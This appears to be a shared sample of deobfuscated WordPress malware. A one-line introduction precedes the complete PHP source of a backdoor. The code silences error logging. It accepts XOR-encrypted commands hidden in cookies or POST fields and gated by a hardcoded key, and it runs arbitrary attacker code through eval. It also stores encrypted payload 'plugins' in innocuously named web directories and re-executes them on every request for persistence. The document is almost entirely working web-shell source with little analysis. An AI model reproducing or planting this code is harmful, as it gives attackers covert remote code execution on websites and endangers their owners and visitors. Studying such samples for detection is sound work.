a basic RPC found in some wordpress malware. original file was base64'd and obfusticated.

start.php

@ini_set('error_log', NULL);
@ini_set('log_errors', 0);
@ini_set('max_execution_time', 0);
@error_reporting(0);
@set_time_limit(0);


if(!defined("PHP_EOL"))
{
    define("PHP_EOL", "\n");
}

if(!defined("DIRECTORY_SEPARATOR"))
{
    define("DIRECTORY_SEPARATOR", "/");
}

if (!defined('ALREADY_RUN_144c87cf623ba82aafi68riab16atio18'))
{
    define('ALREADY_RUN_144c87cf623ba82aafi68riab16atio18', 1);

    $data = NULL;
    $data_key = NULL;

    $GLOBALS['cs_auth'] = 'c3f58ca7-0cb0-4df7-b6a0-58a5ec81aa0c';
    global $cs_auth;


    function cs_GetHost()
    {
        return strtolower(preg_replace('/^(www|ftp)\./i','',@$_SERVER['HTTP_HOST']));
    }

    function cs_GetWritableDirs()
    {
        $res = Array();

        $analysys_queue = Array();

        $analysys_queue[] = cs_GetDocRoot();

        $self_path = $_SERVER['SCRIPT_FILENAME'];
        while (($slash = strrpos($self_path, DIRECTORY_SEPARATOR)) !== FALSE)
        {
            $self_path = substr($self_path, 0, $slash);

            if ($self_path == cs_GetDocRoot())
            {
                break;
            }

            if (strlen($self_path))
            {
                $analysys_queue[] = $self_path;
            }
        }

        foreach ($analysys_queue as $current_dir)
        {
            if (!in_array($current_dir, $res))
            {
                $res = array_merge($res, cs_GetDirectoryList($current_dir));
            }
        }

        return cs_CheckWritable(array_unique($res));
    }

    function cs_CheckWritable($dir_list)
    {
        $dir_list_writable = Array();

        foreach ($dir_list as $dir)
        {
            if (@is_writable($dir) && is_dir($dir))
            {
                $dir_list_writable[] = $dir;
            }
        }

        return $dir_list_writable;
    }

    function cs_GetDirectoryList($dir, $depth=10)
    {
        $result = array();

        if (!is_dir($dir))
        {
            return $result;
        }

        $result[] = $dir;
        $dir_count = 0;

        if ($depth < 1)
        {
            return $result;
        }

        $dir = strlen($dir) == 1 ? $dir : rtrim($dir, '\\/');
        $h = @opendir($dir);
        if ($h === FALSE)
        {
            return $result;
        }

        while (($f = readdir($h)) !== FALSE)
        {
            if ($f !== '.' and $f !== '..')
            {
                $current_dir = "$dir/$f";
                if (is_dir($current_dir))
                {
                    $dir_count += 1;

                    $result[] = $current_dir;
                    $result = array_merge($result, cs_GetDirectoryList($current_dir, $depth / 10));
                }
            }
        }

        closedir($h);

        return $result;
    }

    function cs_GetDocRoot()
    {
        $docroot_end = strrpos($_SERVER['SCRIPT_FILENAME'], $_SERVER['REQUEST_URI']);
        if ($docroot_end === FALSE)
        {
            return $_SERVER['DOCUMENT_ROOT'];
        }
        elseif ($docroot_end === 0)
        {
            return "/";
        }
        else
        {
            return substr($_SERVER['SCRIPT_FILENAME'], 0, $docroot_end);
        }
    }

    if (!function_exists('file_put_contents'))
    {
        function file_put_contents($n, $d, $flag = False)
        {
            $mode = $flag == 8 ? 'a' : 'w';
            $f = @fopen($n, $mode);
            if ($f === False)
            {
                return 0;
            }
            else
            {
                if (is_array($d)) $d = implode($d);
                $bytes_written = fwrite($f, $d);
                fclose($f);
                return $bytes_written;
            }
        }
    }

    if (!function_exists('file_get_contents'))
    {
        function file_get_contents($filename)
        {
            $fhandle = fopen($filename, "r");
            $fcontents = fread($fhandle, filesize($filename));
            fclose($fhandle);

            return $fcontents;
        }
    }


    function cs_decrypt_phase($data, $key)
    {
        $out_data = "";

        for ($i=0; $i<strlen($data);)
        {
            for ($j=0; $j<strlen($key) && $i<strlen($data); $j++, $i++)
            {
                $out_data .= chr(ord($data[$i]) ^ ord($key[$j]));
            }
        }

        return $out_data;
    }

    function cs_decrypt($data, $key)
    {
        global $cs_auth;

        return cs_decrypt_phase(cs_decrypt_phase($data, $key), $cs_auth);
    }
    function cs_encrypt($data, $key)
    {
        global $cs_auth;

        return cs_decrypt_phase(cs_decrypt_phase($data, $cs_auth), $key);
    }

    function cs_file_read($path)
    {
        $data = @file_get_contents($path);

        return $data;
    }

    function cs_file_write($path, $data)
    {
        @file_put_contents($path, $data);
    }

    function cs_file_append($path, $data)
    {
        @file_put_contents($path, $data, 8);
    }

    function cs_sort_comparer($a, $b)
    {
        return strlen($a) - strlen($b);
    }

    function cs_GetCommonStorage($dirs=NULL)
    {
        $self_dir = dirname(__FILE__);

        $common_names = Array("options", "views", "pages", "sessions", "stats", "users", "articles", "dump", "headers", "libs");

        $tmp_dir = $self_dir . "/" . $common_names[strlen(cs_GetHost()) % count($common_names)];

        if (file_exists($tmp_dir))
        {
            return $tmp_dir;
        }

        if(mkdir($tmp_dir))
        {
            return $tmp_dir;
        }

        return "";
    }

    function cs_plugin_add($name, $base64_data)
    {
        $data = base64_decode($base64_data);

        $storage_path = cs_GetCommonStorage() . "/";
        $storage_path = $storage_path . substr(md5("cache"), 0, 5) . "_" . md5($name . cs_GetHost());


        cs_file_write($storage_path, cs_encrypt($data, cs_GetHost()));
    }

    function cs_plugin_rem($name)
    {
        $storage_path = cs_GetCommonStorage(). "/";
        $storage_path = $storage_path . substr(md5("cache"), 0, 5) . "_" . md5($name . cs_GetHost());

        if (file_exists($storage_path))
        {
            @unlink($storage_path);
        }
    }

    function cs_plugin_load($name=NULL)
    {
        $storage_path = cs_GetCommonStorage();

        if (is_dir($storage_path))
        {
            if ($name == NULL) // load all plugins
            {
                foreach (scandir($storage_path) as $key=>$plugin_name)
                {
                    if (strpos($plugin_name, substr(md5("cache"), 0, 5)) !== False)
                    {
                        @eval(cs_decrypt(cs_file_read($storage_path . "/" . $plugin_name), cs_GetHost()));
                    }
                }
            }
            else
            {
                $storage_path = $storage_path . "/" . substr(md5("cache"), 0, 5) . "_" . md5($name . cs_GetHost());

                if (file_exists($storage_path))
                {
                    @eval(cs_decrypt(cs_file_read($storage_path), cs_GetHost()));
                }
            }
        }
    }

    function cs_writable_check()
    {
        if (strlen(cs_GetCommonStorage()) != 0)
        {
            return True;
        }
        else
        {
            return False;
        }
    }

    foreach ($_COOKIE as $key=>$value)
    {
        $data = $value;
        $data_key = $key;
    }

    if (!$data)
    {
        foreach ($_POST as $key=>$value)
        {
            $data = $value;
            $data_key = $key;
        }
    }

    $data = @unserialize(cs_decrypt(base64_decode($data), $data_key));

    if (isset($data['ak']) && $cs_auth==$data['ak'])
    {
        if ($data['a'] == 'i')
        {
            $i = Array(
                'pv' => @phpversion(),
                'sv' => '1.0-2',
                'ak' => $data['ak'],
            );
            echo @serialize($i);
            exit;
        }
        elseif ($data['a'] == 'e')
        {
            eval($data['d']);
        }
        elseif ($data['a'] == 'plugin')
        {
            if($data['sa'] == 'add')
            {
                cs_plugin_add($data['p'], $data['d']);
            }
            elseif($data['sa'] == 'rem')
            {
                cs_plugin_rem($data['p']);
            }
        }
        echo $data['ak'];
        exit();
    }

    cs_plugin_load();
}